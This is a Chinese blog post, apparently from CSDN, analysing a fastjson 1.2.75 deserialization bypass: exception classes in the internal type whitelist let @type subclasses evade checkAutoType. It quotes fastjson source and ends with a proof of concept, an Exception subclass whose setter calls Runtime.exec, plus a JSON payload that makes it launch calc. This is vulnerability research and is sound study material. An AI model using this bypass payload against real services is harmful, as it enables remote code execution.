fastjson1.2.75暂未修补的反序列化“漏洞“

本文分析了fastjson1.2.75版本的一个潜在反序列化漏洞,该漏洞源于1.2.68版本的遗留问题。尽管1.2.69修复了部分问题,但作者指出1.2.75中仍存在漏洞,原因是未处理异常类的反序列化。文章详细探讨了"系统的白名单"、"通行证"和"绕过"策略,并提供了测试Demo,强调此漏洞虽利用难度较高,但仍具有研究价值。
摘要由CSDN通过智能技术生成

前言

这几天在一直研究fastjson反序列化漏洞,从1.2.24版本开始一直到1.2.68版本,其漏洞分析及其利用在网上还是很多的,但不知是大佬们有意为之还是怎样,各博客上写的payload大致差不多,但其实在1.2.68的漏洞中,能用的思路不只有AutoCloseable这一个,还有其他方式也有可能导致RCE,我相信大佬们的手中依然有没有放出的payload。
目前最新1.2.75版本的漏洞(在我看来确实是漏洞,因为确实执行了反序列化攻击)的原因是我在分析1.2.68中找到的,我认为作者应该是知道的,因为原理和AutoCloseable是一样的,可能作者认为利用条件比较多,难以构成威胁,但作为学习之用还是很好的素材。

旧版本漏洞回顾

关于这个话题知乎上有答主做了高质量分析
fastjson到底做错了什么?为什么会被频繁爆出漏洞?
这个帖子很详细的总结了先前fastjson网上公开的漏洞细节,不过唯一不敢苟同的是作者在提到1.2.68版本中,主要利用方式是利用异常进行攻击,并且要重写getMessage方法。
其实在1.2.68版本中,利用最广泛的是使用AutoCloseable这个接口绕过checkAutoType,网上大多也以这种方式展开分析。因为AutoCloseable构成的payload所需要的条件可能没有那么复杂。文章中说1.2.69已经修复了异常攻击漏洞,但是经过测试似乎并没有。
AutoCloseable比较完整的利用链
fastjson 1.2.68 反序列化漏洞 gadgets 挖掘笔记

1.2.68的漏网之鱼

截止这篇文章发出,fastjson在github上的最新版本为1.2.75。
要分析1.2.75漏洞产生原因,我们还是要回到1.2.68版本的漏洞分析中去,本文不会去重提网上提到的一些常见的1.2.68的分析,会稍微提一下被人没有提出来的。

“系统的白名单”

fastjson1.2.68当初产生的主要原因在于,fastjson为了再次避免用户用其AutoType机制进行反序列化而产生漏洞,加入了checkAutoType方法,AutoType机制的标志就是“@type”这个标签。checkAutoType这个方法本意是不想让用户使用AutoType,除非用户自己开启AutoType。然而在checkAutoType方法实现过程中还是没忍住偷偷用了几下(标志是解析了"@type"标志),但加强了限制。在代码审计过程中,我发现了一行非常重要的代码。
这行代码位置在com.alibaba.fastjson.parser.ParserConfig第1326行

clazz = TypeUtils.getClassFromMapping(typeName);

(这行代码在fastjson宏观意义上有何作用暂不知晓)
clazz
其中typeName变量是用户输入的序列化之后的JSON格式数据中,含有类名的字符串,比如{"@type","com.demo.test"}这个json数据,其typeName就是com.demo.test。这行代码的意思就是从TypeUtils这个类中尝试获取json中提到的类。
TypeUtils的静态方法中,执行了addBaseClassMappings函数,其函数代码如下(注意其中含有AutoCloseable接口):

    private static void addBaseClassMappings(){
        mappings.put("byte", byte.class);
        mappings.put("short", short.class);
        mappings.put("int", int.class);
        mappings.put("long", long.class);
        mappings.put("float", float.class);
        mappings.put("double", double.class);
        mappings.put("boolean", boolean.class);
        mappings.put("char", char.class);
        mappings.put("[byte", byte[].class);
        mappings.put("[short", short[].class);
        mappings.put("[int", int[].class);
        mappings.put("[long", long[].class);
        mappings.put("[float", float[].class);
        mappings.put("[double", double[].class);
        mappings.put("[boolean", boolean[].class);
        mappings.put("[char", char[].class);
        mappings.put("[B", byte[].class);
        mappings.put("[S", short[].class);
        mappings.put("[I", int[].class);
        mappings.put("[J", long[].class);
        mappings.put("[F", float[].class);
        mappings.put("[D", double[].class);
        mappings.put("[C", char[].class);
        mappings.put("[Z", boolean[].class);
        Class<?>[] classes = new Class[]{
                Object.class,
                java.lang.Cloneable.class,
                loadClass("java.lang.AutoCloseable"),
                java.lang.Exception.class,
                java.lang.RuntimeException.class,
                java.lang.IllegalAccessError.class,
                java.lang.IllegalAccessException.class,
                java.lang.IllegalArgumentException.class,
                java.lang.IllegalMonitorStateException.class,
                java.lang.IllegalStateException.class,
                java.lang.IllegalThreadStateException.class,
                java.lang.IndexOutOfBoundsException.class,
                java.lang.InstantiationError.class,
                java.lang.InstantiationException.class,
                java.lang.InternalError.class,
                java.lang.InterruptedException.class,
                java.lang.LinkageError.class,
                java.lang.NegativeArraySizeException.class,
                java.lang.NoClassDefFoundError.class,
                java.lang.NoSuchFieldError.class,
                java.lang.NoSuchFieldException.class,
                java.lang.NoSuchMethodError.class,
                java.lang.NoSuchMethodException.class,
                java.lang.NullPointerException.class,
                java.lang.NumberFormatException.class,
                java.lang.OutOfMemoryError.class,
                java.lang.SecurityException.class,
                java.lang.StackOverflowError.class,
                java.lang.StringIndexOutOfBoundsException.class,
                java.lang.TypeNotPresentException.class,
                java.lang.VerifyError.class,
                java.lang.StackTraceElement.class,
                java.util.HashMap.class,
                java.util.Hashtable.class,
                java.util.TreeMap.class,
                java.util.IdentityHashMap.class,
                java.util.WeakHashMap.class,
                java.util.LinkedHashMap.class,
                java.util.HashSet.class,
                java.util.LinkedHashSet.class,
                java.util.TreeSet.class,
                java.util.ArrayList.class,
                java.util.concurrent.TimeUnit.class,
                java.util.concurrent.ConcurrentHashMap.class,
                java.util.concurrent.atomic.AtomicInteger.class,
                java.util.concurrent.atomic.AtomicLong.class,
                java.util.Collections.EMPTY_MAP.getClass(),
                java.lang.Boolean.class,
                java.lang.Character.class,
                java.lang.Byte.class,
                java.lang.Short.class,
                java.lang.Integer.class,
                java.lang.Long.class,
                java.lang.Float.class,
                java.lang.Double.class,
                java.lang.Number.class,
                java.lang.String.class,
                java.math.BigDecimal.class,
                java.math.BigInteger.class,
                java.util.BitSet.class,
                java.util.Calendar.class,
                java.util.Date.class,
                java.util.Locale.class,
                java.util.UUID.class,
                java.sql.Time.class,
                java.sql.Date.class,
                java.sql.Timestamp.class,
                java.text.SimpleDateFormat.class,
                com.alibaba.fastjson.JSONObject.class,
                com.alibaba.fastjson.JSONPObject.class,
                com.alibaba.fastjson.JSONArray.class,
        };
        for(Class clazz : classes){
            if(clazz == null){
                continue;
            }
            mappings.put(clazz.getName(), clazz);
        }
    }

可以发现是系统将这些类加入了mappings中,之前提到的
clazz = TypeUtils.getClassFromMapping(typeName);
也就一目了然了,就是尝试在TypeUtils类中尝试获取typeName值,如果没有获取到那么clazz为null,若expectClass此时也为null,就会触发异常,告诉用户AutoType不可用。正常情况下AutoType就是被禁止了。
然而还有另一种情况,若clazz不为空,则就存在绕过限制的可能,绕过的关键就是TypeUtils.mappings中所包含的类,它们就相当于是“系统的白名单”。

“通行证”

Debug过程就不描述了,只说结论。

  1. fastjson会首先从左至右寻找JSON格式中带“@type”的键,若存在,则将其键对应的值(即typeName)通过checkAutoType方法检查是否在"系统的白名单中"和用户自定义的白名单中,当然系统还有自带的黑名单,typeName还不能在黑名单中。
    以下为1.2.68系统设定的黑名单。
if (expectClass == null) {
            expectClassFlag = false;
        } else {
            if (expectClass == Object.class
                    || expectClass == Serializable.class
                    || expectClass == Cloneable.class
                    || expectClass == Closeable.class
                    || expectClass == EventListener.class
                    || expectClass == Iterable.class
                    || expectClass == Collection.class
                    ) {
                expectClassFlag = false;
            } else {
                expectClassFlag = true;
            }
        }
  1. 在确定typeName不在黑名单而又在白名单后,会将typeName赋值为expectClassexpectClass可是个好东西啊,相当于一个强大的通行证,他会允许expectClass的儿子们(实现类或子类)不需要通过系统白名单检查直接通过。1.2.68漏洞也因这个“通行证”而产生。

“绕过”

基于以上两个条件,当年的黑客们选择了AutoCloseable的实现类,AutoCloseable也是手持"通行证"的用户,至于如何利用之前分享的文章已经提到了,这里再次贴出:
fastjson 1.2.68 反序列化漏洞 gadgets 挖掘笔记
当然,如果是作为学习之用,可以用个简易的demo:
fastjson<=1.2.68的漏洞分析
除了AutoCloseable在这个系统的白名单外,还有其他的类也在其中,选择其他类也可以绕过checkAutoType,但仅仅是绕过,有些无法触发子类反序列化。
通过跟踪debug发现,当父类为异常类时,fastjson会调用ThrowableDeserializer进行处理,在处理中,该类会继续向后处理JSON格式字符串,若出现@type,会继续调用checkAutoType检查,但此时因为expectClass已被赋值为异常类,不为空,"通行证"拿到手,所以子类可以"跳过"系统白名单检查(也就是clazz为空也没关系),直接进行反序列化。
异常处理

关于这一点我和知乎那篇文章的作者观点一样,知乎的文章原文如下:

在fastjson中, 如果,@type 指定的类为 Throwable 的子类,那对应的反序列化处理类就会使用到ThrowableDeserializer, 而在ThrowableDeserializer#deserialze的方法中,当有一个字段的key也是 @type时,就会把这个 value当做类名,然后进行一次 checkAutoType 检测。并且指定了expectClass为Throwable.class,但是在checkAutoType中,有这样一约定,那就是如果指定了expectClass,那么也会通过校验。

如果父类或者接口是异常类以外的,可能就不一定能让子类或实现类反序列化了,比如当父类为SimpleDateFormat时,会向后检查有无"val"字符串,并不会检查@type,因此也就失去了反序列化的条件。

1.2.75的问题

上一节已经说了1.2.68的问题,回到现在的版本。
AutoCloseable产生的反序列化漏洞已经在1.2.69中修复了,修复的手段是将AutoCloseable加入黑名单,但是没有对异常类进行处理,所以仍然存在漏洞,该漏洞的利用条件如下:

  1. 危险类必须继承“系统白名单”中任意一个异常类
  2. 危险类中的危险方法必须为构造方法或者setter方法,参数可控是最好的。

关于为何setter方法也可以,fastjson到底做错了什么?为什么会被频繁爆出漏洞?知乎一文中已经说得很清楚了,此处不再重复。

测试Demo

测试环境:

  1. Web框架为springboot
  2. fastjson1.2.75

危险类:

package com.fastjson.demo.poc;

import java.io.IOException;

public class poc extends Exception {
    public void setS(String a){
        try {
            Runtime.getRuntime().exec(a);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

payload:

'{"@type":"java.lang.Exception","@type":"com.fastjson.demo.poc.poc","s":"calc"}'

测试Demo分享:
链接:https://pan.baidu.com/s/141HLCd-IVIe0jTYkhvgr-Q
提取码:ewra

演示弹出计算器GIF:
demo

小结

虽然这也是漏洞,但是和1.2.68版本已公开的漏洞利用一样,利用难度都要比1.2.24的大,但是仍然具有研究意义。
1.2.24版本的漏洞利用才算是真正的完美。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值